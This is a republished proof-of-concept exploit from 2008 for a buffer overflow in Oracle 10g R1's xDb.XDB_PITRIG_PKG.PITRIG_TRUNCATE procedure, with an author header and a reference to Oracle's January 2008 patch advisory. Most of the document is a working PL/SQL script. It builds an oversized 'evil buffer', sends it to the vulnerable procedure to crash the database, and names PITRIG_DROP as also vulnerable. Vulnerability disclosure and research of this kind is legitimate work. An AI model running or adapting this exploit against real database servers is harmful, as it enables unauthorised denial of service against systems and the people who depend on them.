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Oracle 10g R1 xdb.xdb_pitrig_pkg Buffer Overflow Exploit (PoC)
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来源：http://www.dsec.ru 作者：Sh2kerr 发布时间：2008-01-29
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/******************************************************************/
/******* Oracle 10g R1 xDb.XDB_PITRIG_PKG.PITRIG_TRUNCATE *********/
/******* BUFFER OVERFLOW *********/
/******************************************************************/
/************ POC exploit , Crash database **************/
/******************************************************************/
/****************** BY Sh2kerr (Digital Security) ***************/
/******************************************************************/
/***************** tested on oracle 10.1.0.2.0 *******************/
/******************************************************************/
/******************************************************************/
/* Date of Public EXPLOIT: January 28, 2008 */
/* Written by: Alexandr "Sh2kerr" Polyakov */
/* email: Alexandr.Polyakov@dsec.ru */
/* site: http://www.dsec.ru */
/******************************************************************/
/* Original Advisory by: */
/* Alexandr Polyakov [ Alexandr.Polyakov@dsec.ru] */
/* Reported: 18 Dec 2007 */
/* Date of Public Advisory: January 15, 2008 */
/* Advisory: http://www.oracle.com/technology/deploy/ */
/* security/critical-patch-updates/cpujan2008.html */
/* */
/******************************************************************/
/* thanks to oraclefun for his pitrig_dropmetadata exploit */
/* */
/******************************************************************/
set serveroutput on
declare
buff varchar2(32767);
begin
/* generate evil buffer */
buff:='12345678901234567890123456789';
buff:=buff||buff;
buff:=buff||buff;
buff:=buff||buff;
buff:=buff||buff;
buff:=buff||buff;
buff:=buff||'0012345678901234567890123sh2kerr';
/* lets see the buffer size */
dbms_output.put_line('SEND EVIL BUFFER SIZE:'||Length(buff));
xDb.XDB_PITRIG_PKG.PITRIG_TRUNCATE(buff,buff);
end;
/
/* P.S. xDb.XDB_PITRIG_PKG.PITRIG_DROP is also vulnerable */
/******************************************************************/
/*************************** SEE U LATER ;) ***********************/
/******************************************************************/
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